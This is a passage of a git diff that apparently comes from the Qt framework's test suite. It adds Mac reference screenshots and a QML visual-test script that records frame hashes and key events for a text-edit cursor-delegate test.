new file mode 100644
index 00000000..9a96d462
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.3.png
new file mode 100644
index 00000000..2026aca7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.4.png
new file mode 100644
index 00000000..c4350294
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.5.png
new file mode 100644
index 00000000..70f273df
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.6.png
new file mode 100644
index 00000000..80b960c1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.7.png
new file mode 100644
index 00000000..72472771
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.8.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.8.png
new file mode 100644
index 00000000..af5a996b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.9.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.9.png
new file mode 100644
index 00000000..b254164f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.qml
new file mode 100644
index 00000000..0f3bd2cf
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.qml
@@ -0,0 +1,1499 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "cursorDelegate.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "b742ebe441dde1f30dab6d19954a9e8c"
+ }
+ Frame {
+ msec: 48
+ hash: "d3be942cfb93c4a5d5aa906410125d02"
+ }
+ Frame {
+ msec: 64
+ hash: "062574e74354b104db2ee6d3c3af5802"
+ }
+ Frame {
+ msec: 80
+ hash: "575dd420067e4ebe5733eb4e35a447ab"
+ }
+ Frame {
+ msec: 96
+ hash: "4213f35c4cd233a08d98ba0380b7ab0a"
+ }
+ Frame {
+ msec: 112
+ hash: "505e740aacf4ca7e6ad24367ddad8678"
+ }
+ Frame {
+ msec: 128
+ hash: "007e76fb247e11a442802c7cfb4e6a24"
+ }
+ Frame {
+ msec: 144
+ hash: "5cf6cb0afffb791da1c4d0fe00cf6326"
+ }
+ Frame {
+ msec: 160
+ hash: "aff4097bd39c87c5d1459d99f314dade"
+ }
+ Frame {
+ msec: 176
+ hash: "009dc0c6ff28333ac2fdfa3d79ad2fd6"
+ }
+ Frame {
+ msec: 192
+ hash: "4bf8e82220ea0d0c4298d5374e149de2"
+ }
+ Frame {
+ msec: 208
+ hash: "938a6eea45c4412e847a8700172d80ac"
+ }
+ Frame {
+ msec: 224
+ hash: "6502416042993d05dd514119512ed61f"
+ }
+ Frame {
+ msec: 240
+ hash: "5d6702b9475e69bda2ed38f6e2d583d9"
+ }
+ Frame {
+ msec: 256
+ hash: "8e5fdc8e6cc38089d1e8ff5e91a5c894"
+ }
+ Frame {
+ msec: 272
+ hash: "c0249d07bcf25af69bf929b4d5ac00a3"
+ }
+ Frame {
+ msec: 288
+ hash: "efe333c2b8cccea0bd7135484049db06"
+ }
+ Frame {
+ msec: 304
+ hash: "57e49e9094691a204f7507b0231352b3"
+ }
+ Frame {
+ msec: 320
+ hash: "d0a45bd3cfc5e4e6f9a48534c768daba"
+ }
+ Frame {
+ msec: 336
+ hash: "6960ab817c67a61af31cc187efe65016"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 352
+ hash: "3b0d483ff765f36a196411967b6dfd70"
+ }
+ Frame {
+ msec: 368
+ hash: "559713749d65246b185c0c91eb7ad39e"
+ }
+ Frame {
+ msec: 384
+ hash: "9aea32722fd4f8b0cde3c06c61cecde6"
+ }
+ Frame {
+ msec: 400
+ hash: "25dfa32ce92b6044f5ea68411ab5de5b"
+ }
+ Frame {
+ msec: 416
+ hash: "dab689ed2bbe663df309548e615e8621"
+ }
+ Frame {
+ msec: 432
+ hash: "26ad44cef380ff9f64c12180fb54c695"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 448
+ hash: "5e8bbcd46b5692e66963387b80971e90"
+ }
+ Frame {
+ msec: 464
+ hash: "747df5357daa951fbedeadf909f9dbf3"
+ }
+ Frame {
+ msec: 480
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 496
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 512
+ hash: "cb6ca047657a99dbbb037c1c45b40866"
+ }
+ Frame {
+ msec: 528
+ hash: "cb6ca047657a99dbbb037c1c45b40866"
+ }
+ Frame {
+ msec: 544
+ hash: "cb6ca047657a99dbbb037c1c45b40866"
+ }
+ Frame {
+ msec: 560
+ hash: "cb6ca047657a99dbbb037c1c45b40866"
+ }
+ Frame {
+ msec: 576
+ hash: "1684711d2c492de2093357168b8726c6"
+ }
+ Frame {
+ msec: 592
+ hash: "6d960ca89faec6e3d81f78911b9b5ecf"
+ }
+ Frame {
+ msec: 608
+ hash: "1fdd91b57f5832d5c4d797d150892156"
+ }
+ Frame {
+ msec: 624
+ hash: "4e0f1ec936cacf3ab6fbc7899a6bc92d"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 640
+ hash: "9e67145b58051fd7dc4a18ee0e6a72ad"
+ }
+ Frame {
+ msec: 656
+ hash: "14dfb4b356ec851275ddd8e93f04e2d2"
+ }
+ Frame {
+ msec: 672
+ hash: "e9b8f691ad62d10877aacb94f98ea308"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 688
+ hash: "a44b5f63ec1f98b6bc34e95214c9d79e"
+ }
+ Frame {
+ msec: 704
+ hash: "6bc0e035c90b74de024d379388fd7014"
+ }
+ Frame {
+ msec: 720
+ hash: "61d8f417f7ca5cba2e98a7a7427ea635"
+ }
+ Frame {
+ msec: 736
+ hash: "f50adb10f55bcd4c2eb0955f6e1ff78e"
+ }
+ Frame {
+ msec: 752
+ hash: "9e160aefac79a9804f6cb8622e45ba71"
+ }
+ Frame {
+ msec: 768
+ hash: "6555a0bd60dbbad66283fe37b2f0c362"
+ }
+ Frame {
+ msec: 784
+ hash: "0cacc38d86ebf497d31b01556b8a5924"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 800
+ hash: "b2fe1d5cb5e0a5f07d84ff7a494ae07a"
+ }
+ Frame {
+ msec: 816
+ hash: "2c6dbd777bba27b481a8a6ef34d213f9"
+ }
+ Frame {
+ msec: 832
+ hash: "989e53620edc6b9b0990545459e7f787"
+ }
+ Frame {
+ msec: 848
+ hash: "a89686a7802da3fd07a265a5814255f4"
+ }
+ Frame {
+ msec: 864
+ hash: "9f707497eb0c224c8b0a3bba1533217a"
+ }
+ Frame {
+ msec: 880
+ hash: "29df155c0b75de8e1bd6361372a51797"
+ }
+ Frame {
+ msec: 896
+ hash: "fb7cbeb1e3689cc38acf7a02d671a955"
+ }
+ Frame {
+ msec: 912
+ hash: "9045ada282ec37b1681cef89dfcc8f67"
+ }
+ Frame {
+ msec: 928
+ hash: "b3816b225eaf5ab49bb31f86ecdd52cb"
+ }
+ Frame {
+ msec: 944
+ hash: "0956fccb8e1bf2c218a9e39947846aaa"
+ }
+ Frame {
+ msec: 960
+ hash: "01f4ba2e0b4eb018c620efa5e92ec9fe"
+ }
+ Frame {
+ msec: 976
+ image: "cursorDelegate.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "c19ec2d067d30a6d42056c9799b0c0c3"
+ }
+ Frame {
+ msec: 1008
+ hash: "43a9d066887a89372136619ae8eec100"
+ }
+ Frame {
+ msec: 1024
+ hash: "43a9d066887a89372136619ae8eec100"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1040
+ hash: "c19ec2d067d30a6d42056c9799b0c0c3"
+ }
+ Frame {
+ msec: 1056
+ hash: "8303d8b19e6e5b249aaf2ffbb6d29f91"
+ }
+ Frame {
+ msec: 1072
+ hash: "01f4ba2e0b4eb018c620efa5e92ec9fe"
+ }
+ Frame {
+ msec: 1088
+ hash: "0956fccb8e1bf2c218a9e39947846aaa"
+ }
+ Frame {
+ msec: 1104
+ hash: "b3816b225eaf5ab49bb31f86ecdd52cb"
+ }
+ Frame {
+ msec: 1120
+ hash: "9045ada282ec37b1681cef89dfcc8f67"
+ }
+ Frame {
+ msec: 1136
+ hash: "fb7cbeb1e3689cc38acf7a02d671a955"
+ }
+ Frame {
+ msec: 1152
+ hash: "29df155c0b75de8e1bd6361372a51797"
+ }
+ Frame {
+ msec: 1168
+ hash: "9f707497eb0c224c8b0a3bba1533217a"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1184
+ hash: "9f712a688504fff9719b38c067b32c50"
+ }
+ Frame {
+ msec: 1200
+ hash: "24f1467e3be5f4d0509800bef97f4401"
+ }
+ Frame {
+ msec: 1216
+ hash: "d56e5fd86addad3bc53417b82ff68829"
+ }
+ Frame {
+ msec: 1232
+ hash: "f1c60934ef284840e61fd46c758dd14b"
+ }
+ Frame {
+ msec: 1248
+ hash: "7be9fc54278572116f9bd9be8f6994a4"
+ }
+ Frame {
+ msec: 1264
+ hash: "0e0ea7ca1b8479d62ae81fb53a1ec264"
+ }
+ Frame {
+ msec: 1280
+ hash: "f8b19dbaeec469896a081687d80a2ac4"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1296
+ hash: "a28665925ec121a2bf01733e0a20e18b"
+ }
+ Frame {
+ msec: 1312
+ hash: "baa0c601f3d84e344847dcb7f3bd18cf"
+ }
+ Frame {
+ msec: 1328
+ hash: "a80d59a1e5af45bc799c19200a3c44ec"
+ }
+ Frame {
+ msec: 1344
+ hash: "2a6f833e2fd2930c8ec49016809d8cf6"
+ }
+ Frame {
+ msec: 1360
+ hash: "efdc2daad00aaec2c39541261d6d1a98"
+ }
+ Frame {
+ msec: 1376
+ hash: "65b75f2a074d4ac5d84fb762d1762231"
+ }
+ Frame {
+ msec: 1392
+ hash: "2a170e51a83e902d2699501877225ee3"
+ }
+ Frame {
+ msec: 1408
+ hash: "1e4c78e279ff4ab7a875e4d67f68f8ca"
+ }
+ Frame {
+ msec: 1424
+ hash: "fd515cf3ec7b987e0e36c02f1da5b8a7"
+ }
+ Frame {
+ msec: 1440
+ hash: "54126910ea7a303ea3e7726309d8bf39"
+ }
+ Frame {
+ msec: 1456
+ hash: "89263867df0cfa623f80e1578532d98d"
+ }
+ Frame {
+ msec: 1472
+ hash: "1bf04aafab1177182eec9a0ff459cd7b"
+ }
+ Frame {
+ msec: 1488
+ hash: "1bf04aafab1177182eec9a0ff459cd7b"
+ }
+ Frame {
+ msec: 1504
+ hash: "1bf04aafab1177182eec9a0ff459cd7b"
+ }
+ Frame {
+ msec: 1520
+ hash: "1bf04aafab1177182eec9a0ff459cd7b"
+ }
+ Frame {
+ msec: 1536
+ hash: "1bf04aafab1177182eec9a0ff459cd7b"
+ }
+ Frame {
+ msec: 1552
+ hash: "1bf04aafab1177182eec9a0ff459cd7b"
+ }
+ Frame {
+ msec: 1568
+ hash: "c824a8bbf60514c20713b1fa583451b2"
+ }
+ Frame {
+ msec: 1584
+ hash: "f6282cd20d7f3f64415a0a24df578964"
+ }
+ Frame {
+ msec: 1600
+ hash: "a4633c7dc825f20a7ada2079712f7b5e"
+ }
+ Frame {
+ msec: 1616
+ hash: "240c839fc986573523b30567afe05623"
+ }
+ Frame {
+ msec: 1632
+ hash: "9e3098ea355a80e7e439f3cdecd15b77"
+ }
+ Frame {
+ msec: 1648
+ hash: "d8ec7fd807f345509703f4ecf94b583d"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1664
+ hash: "5b6e0bedeca1784610081762850813a1"
+ }
+ Frame {
+ msec: 1680
+ hash: "13a596d7aefa3c8ce61660dd5ce27627"
+ }
+ Frame {
+ msec: 1696
+ hash: "295bbee587f2fdbadab7aa4e3900b6e0"
+ }
+ Frame {
+ msec: 1712
+ hash: "645da4001b1489b12e0bb5dd1b5c114b"
+ }
+ Frame {
+ msec: 1728
+ hash: "8e7e4f5b8eb437ab92e466b1d79aee01"
+ }
+ Frame {
+ msec: 1744
+ hash: "1a7ec33aa8a19a36a7fc99c3040e427a"
+ }
+ Frame {
+ msec: 1760
+ hash: "85f6c7d9f86910e7cceeaf9efc375355"
+ }
+ Frame {
+ msec: 1776
+ hash: "8e54b0699d681cfbfc3b605b010c6b76"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1792
+ hash: "5d6702b9475e69bda2ed38f6e2d583d9"
+ }
+ Frame {
+ msec: 1808
+ hash: "6502416042993d05dd514119512ed61f"
+ }
+ Frame {
+ msec: 1824
+ hash: "938a6eea45c4412e847a8700172d80ac"
+ }
+ Frame {
+ msec: 1840
+ hash: "4bf8e82220ea0d0c4298d5374e149de2"
+ }
+ Frame {
+ msec: 1856
+ hash: "009dc0c6ff28333ac2fdfa3d79ad2fd6"
+ }
+ Frame {
+ msec: 1872
+ hash: "aff4097bd39c87c5d1459d99f314dade"
+ }
+ Frame {
+ msec: 1888
+ hash: "5cf6cb0afffb791da1c4d0fe00cf6326"
+ }
+ Frame {
+ msec: 1904
+ hash: "007e76fb247e11a442802c7cfb4e6a24"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1920
+ hash: "505e740aacf4ca7e6ad24367ddad8678"
+ }
+ Frame {
+ msec: 1936
+ image: "cursorDelegate.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "575dd420067e4ebe5733eb4e35a447ab"
+ }
+ Frame {
+ msec: 1968
+ hash: "062574e74354b104db2ee6d3c3af5802"
+ }
+ Frame {
+ msec: 1984
+ hash: "d3be942cfb93c4a5d5aa906410125d02"
+ }
+ Frame {
+ msec: 2000
+ hash: "b742ebe441dde1f30dab6d19954a9e8c"
+ }
+ Frame {
+ msec: 2016
+ hash: "bbe3a292c59e2f7ae6b8877f6736c96e"
+ }
+ Frame {
+ msec: 2032
+ hash: "b742ebe441dde1f30dab6d19954a9e8c"
+ }
+ Frame {
+ msec: 2048
+ hash: "d3be942cfb93c4a5d5aa906410125d02"
+ }
+ Frame {
+ msec: 2064
+ hash: "062574e74354b104db2ee6d3c3af5802"
+ }
+ Frame {
+ msec: 2080
+ hash: "575dd420067e4ebe5733eb4e35a447ab"
+ }
+ Frame {
+ msec: 2096
+ hash: "4213f35c4cd233a08d98ba0380b7ab0a"
+ }
+ Frame {
+ msec: 2112
+ hash: "505e740aacf4ca7e6ad24367ddad8678"
+ }
+ Frame {
+ msec: 2128
+ hash: "007e76fb247e11a442802c7cfb4e6a24"
+ }
+ Frame {
+ msec: 2144
+ hash: "5cf6cb0afffb791da1c4d0fe00cf6326"
+ }
+ Frame {
+ msec: 2160
+ hash: "aff4097bd39c87c5d1459d99f314dade"
+ }
+ Frame {
+ msec: 2176
+ hash: "009dc0c6ff28333ac2fdfa3d79ad2fd6"
+ }
+ Frame {
+ msec: 2192
+ hash: "4bf8e82220ea0d0c4298d5374e149de2"
+ }
+ Frame {
+ msec: 2208
+ hash: "938a6eea45c4412e847a8700172d80ac"
+ }
+ Frame {
+ msec: 2224
+ hash: "6502416042993d05dd514119512ed61f"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2240
+ hash: "5d6702b9475e69bda2ed38f6e2d583d9"
+ }
+ Frame {
+ msec: 2256
+ hash: "8e5fdc8e6cc38089d1e8ff5e91a5c894"
+ }
+ Frame {
+ msec: 2272
+ hash: "c0249d07bcf25af69bf929b4d5ac00a3"
+ }
+ Frame {
+ msec: 2288
+ hash: "efe333c2b8cccea0bd7135484049db06"
+ }
+ Frame {
+ msec: 2304
+ hash: "57e49e9094691a204f7507b0231352b3"
+ }
+ Frame {
+ msec: 2320
+ hash: "d0a45bd3cfc5e4e6f9a48534c768daba"
+ }
+ Frame {
+ msec: 2336
+ hash: "6960ab817c67a61af31cc187efe65016"
+ }
+ Frame {
+ msec: 2352
+ hash: "3b0d483ff765f36a196411967b6dfd70"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2368
+ hash: "559713749d65246b185c0c91eb7ad39e"
+ }
+ Frame {
+ msec: 2384
+ hash: "9aea32722fd4f8b0cde3c06c61cecde6"
+ }
+ Frame {
+ msec: 2400
+ hash: "25dfa32ce92b6044f5ea68411ab5de5b"
+ }
+ Frame {
+ msec: 2416
+ hash: "dab689ed2bbe663df309548e615e8621"
+ }
+ Frame {
+ msec: 2432
+ hash: "26ad44cef380ff9f64c12180fb54c695"
+ }
+ Frame {
+ msec: 2448
+ hash: "5e8bbcd46b5692e66963387b80971e90"
+ }
+ Frame {
+ msec: 2464
+ hash: "747df5357daa951fbedeadf909f9dbf3"
+ }
+ Frame {
+ msec: 2480
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2496
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 2512
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 2528
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 2544
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 2560
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 2576
+ hash: "1568d4b93d2a284c46f23a0cb17acc24"
+ }
+ Frame {
+ msec: 2592
+ hash: "0665a6cfc09981cd8a7ffd0d02e6fbdc"
+ }
+ Frame {
+ msec: 2608
+ hash: "49892aa44c8e3584239d245a7ca98af3"
+ }
+ Frame {
+ msec: 2624
+ hash: "c9def393bb5d6c447c45b127d32b5e50"
+ }
+ Frame {
+ msec: 2640
+ hash: "679d94007b33197ce7decb4df6e8343c"
+ }
+ Frame {
+ msec: 2656
+ hash: "817987bcd9f1147ba047333b42ed289d"
+ }
+ Frame {
+ msec: 2672
+ hash: "fdd9331015c289b8e33b094999b11dce"
+ }
+ Frame {
+ msec: 2688
+ hash: "e4fa13ba2770c0d390945ee4505fea9b"
+ }
+ Frame {
+ msec: 2704
+ hash: "69965c88d2273acf680af243610efcf3"
+ }
+ Frame {
+ msec: 2720
+ hash: "6cbeb6787a0a7fb7f654f877e41eed57"
+ }
+ Frame {
+ msec: 2736
+ hash: "e7528c074b3c65afe3873a3cdf96f041"
+ }
+ Frame {
+ msec: 2752
+ hash: "c06c72abe46087f0db87a84fdcbcf601"
+ }
+ Frame {
+ msec: 2768
+ hash: "b6840f1d7cf2caed17d763b782553071"
+ }
+ Frame {
+ msec: 2784
+ hash: "71fdb77c4133f37180d581e4b1fe9c83"
+ }
+ Frame {
+ msec: 2800
+ hash: "f5e2075ed86f146e0162ae4f0a9c6b90"
+ }
+ Frame {
+ msec: 2816
+ hash: "5e76b741f49bd279b9f62ae3f474e5b5"
+ }
+ Frame {
+ msec: 2832
+ hash: "28c8003699352c3c9563556939d49cd8"
+ }
+ Frame {
+ msec: 2848
+ hash: "15ab751c8463326c870dc9ee1af3c1d7"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2864
+ hash: "6035ef1252d4f28b965b0bf4771540e4"
+ }
+ Frame {
+ msec: 2880
+ hash: "7c79170b07db90ca94f5642f3c0d3998"
+ }
+ Frame {
+ msec: 2896
+ image: "cursorDelegate.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "3b4d1f5e1506c851887c86883eb1a6ac"
+ }
+ Frame {
+ msec: 2928
+ hash: "5aff09b0e9078ca6d4ed93694d1fa6f9"
+ }
+ Frame {
+ msec: 2944
+ hash: "16813ebf88f881a4cebf75a2325dc064"
+ }
+ Frame {
+ msec: 2960
+ hash: "5b901505bb1ab80cd4d5bc85b73ae8ad"
+ }
+ Frame {
+ msec: 2976
+ hash: "04c7f2e959c31bf6d3e7bea25d27eb87"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2992
+ hash: "408bb423b93cb48afb97a7744848fc5e"
+ }
+ Frame {
+ msec: 3008
+ hash: "1a58d66b4d42736eea49a602923a0941"
+ }
+ Frame {
+ msec: 3024
+ hash: "1a58d66b4d42736eea49a602923a0941"
+ }
+ Frame {
+ msec: 3040
+ hash: "408bb423b93cb48afb97a7744848fc5e"
+ }
+ Frame {
+ msec: 3056
+ hash: "04c7f2e959c31bf6d3e7bea25d27eb87"
+ }
+ Frame {
+ msec: 3072
+ hash: "5b901505bb1ab80cd4d5bc85b73ae8ad"
+ }
+ Frame {
+ msec: 3088
+ hash: "16813ebf88f881a4cebf75a2325dc064"
+ }
+ Frame {
+ msec: 3104
+ hash: "5aff09b0e9078ca6d4ed93694d1fa6f9"
+ }
+ Frame {
+ msec: 3120
+ hash: "3b4d1f5e1506c851887c86883eb1a6ac"
+ }
+ Frame {
+ msec: 3136
+ hash: "6a0a21ed890b475ce506714cc0501381"
+ }
+ Frame {
+ msec: 3152
+ hash: "7c79170b07db90ca94f5642f3c0d3998"
+ }
+ Frame {
+ msec: 3168
+ hash: "6035ef1252d4f28b965b0bf4771540e4"
+ }
+ Frame {
+ msec: 3184
+ hash: "9529b5b70b76541ec82be173deedadfb"
+ }
+ Frame {
+ msec: 3200
+ hash: "174bbd347422c46923d6a5831cb5cd94"
+ }
+ Frame {
+ msec: 3216
+ hash: "1eb95daf505b817161f1a251cdde1b3c"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3232
+ hash: "10f59fadaa27f78b7a1fb25d3a30adf7"
+ }
+ Frame {
+ msec: 3248
+ hash: "b87417c77b43bdbfdc3d8293c9a23216"
+ }
+ Frame {
+ msec: 3264
+ hash: "64345c713d61638bcc32f277208f2665"
+ }
+ Frame {
+ msec: 3280
+ hash: "753dbe02fa95ee2b1387b98d7d456dcf"
+ }
+ Frame {
+ msec: 3296
+ hash: "fce9a58aaf8d5cadbb029194317dcae3"
+ }
+ Frame {
+ msec: 3312
+ hash: "367083bd88443558002601acbc355b1a"
+ }
+ Frame {
+ msec: 3328
+ hash: "8e6ffccf321fa30faec432a4b4138967"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3344
+ hash: "4dd4e0dafeed0fc11790145d39f7c85f"
+ }
+ Frame {
+ msec: 3360
+ hash: "d612765c6b43035ea4e4683f968a18d3"
+ }
+ Frame {
+ msec: 3376
+ hash: "fa77d4d8d339b78e5a28dcf69336c116"
+ }
+ Frame {
+ msec: 3392
+ hash: "34cf572a432bdd6dcfcc4fdfa032a800"
+ }
+ Frame {
+ msec: 3408
+ hash: "150b5a2f2e916b7023764c481c768492"
+ }
+ Frame {
+ msec: 3424
+ hash: "fbc93f511d6f3093c2ecf624a2c63749"
+ }
+ Frame {
+ msec: 3440
+ hash: "f9e0bd08b722c16493a8886a19920dda"
+ }
+ Frame {
+ msec: 3456
+ hash: "f499f4b3017c88c63f0a2035ad527a0e"
+ }
+ Frame {
+ msec: 3472
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 3488
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 3504
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 3520
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 3536
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 3552
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 3568
+ hash: "68d331f508b43e756d6e30ba9b60f9aa"
+ }
+ Frame {
+ msec: 3584
+ hash: "c9147c159aebb7aa51d4bac28f96cb57"
+ }
+ Frame {
+ msec: 3600
+ hash: "0636b7c5cc215882c60b50f62133c715"
+ }
+ Frame {
+ msec: 3616
+ hash: "10b52296e40380a915f7538d21d321a4"
+ }
+ Frame {
+ msec: 3632
+ hash: "9c56e2c5e04e8767b70d357558e179de"
+ }
+ Frame {
+ msec: 3648
+ hash: "0b1538af23c78cc779174df9fd01f60b"
+ }
+ Frame {
+ msec: 3664
+ hash: "1632c7df93f1a735236eaa2464e75ba6"
+ }
+ Frame {
+ msec: 3680
+ hash: "a08e8b921e61c79d57c0bc4fa5e79914"
+ }
+ Frame {
+ msec: 3696
+ hash: "8220951034b6f1a5755bedd53b947b4a"
+ }
+ Frame {
+ msec: 3712
+ hash: "f4c18c333796ff10218fa9145781ea7f"
+ }
+ Frame {
+ msec: 3728
+ hash: "7547d3bb0f9c4a53396cfe0252436395"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3744
+ hash: "efe333c2b8cccea0bd7135484049db06"
+ }
+ Frame {
+ msec: 3760
+ hash: "c0249d07bcf25af69bf929b4d5ac00a3"
+ }
+ Frame {
+ msec: 3776
+ hash: "8e5fdc8e6cc38089d1e8ff5e91a5c894"
+ }
+ Frame {
+ msec: 3792
+ hash: "5d6702b9475e69bda2ed38f6e2d583d9"
+ }
+ Frame {
+ msec: 3808
+ hash: "6502416042993d05dd514119512ed61f"
+ }
+ Frame {
+ msec: 3824
+ hash: "938a6eea45c4412e847a8700172d80ac"
+ }
+ Frame {
+ msec: 3840
+ hash: "4bf8e82220ea0d0c4298d5374e149de2"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3856
+ image: "cursorDelegate.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "aff4097bd39c87c5d1459d99f314dade"
+ }
+ Frame {
+ msec: 3888
+ hash: "5cf6cb0afffb791da1c4d0fe00cf6326"
+ }
+ Frame {
+ msec: 3904
+ hash: "007e76fb247e11a442802c7cfb4e6a24"
+ }
+ Frame {
+ msec: 3920
+ hash: "505e740aacf4ca7e6ad24367ddad8678"
+ }
+ Frame {
+ msec: 3936
+ hash: "4213f35c4cd233a08d98ba0380b7ab0a"
+ }
+ Frame {
+ msec: 3952
+ hash: "575dd420067e4ebe5733eb4e35a447ab"
+ }
+ Frame {
+ msec: 3968
+ hash: "062574e74354b104db2ee6d3c3af5802"
+ }
+ Frame {
+ msec: 3984
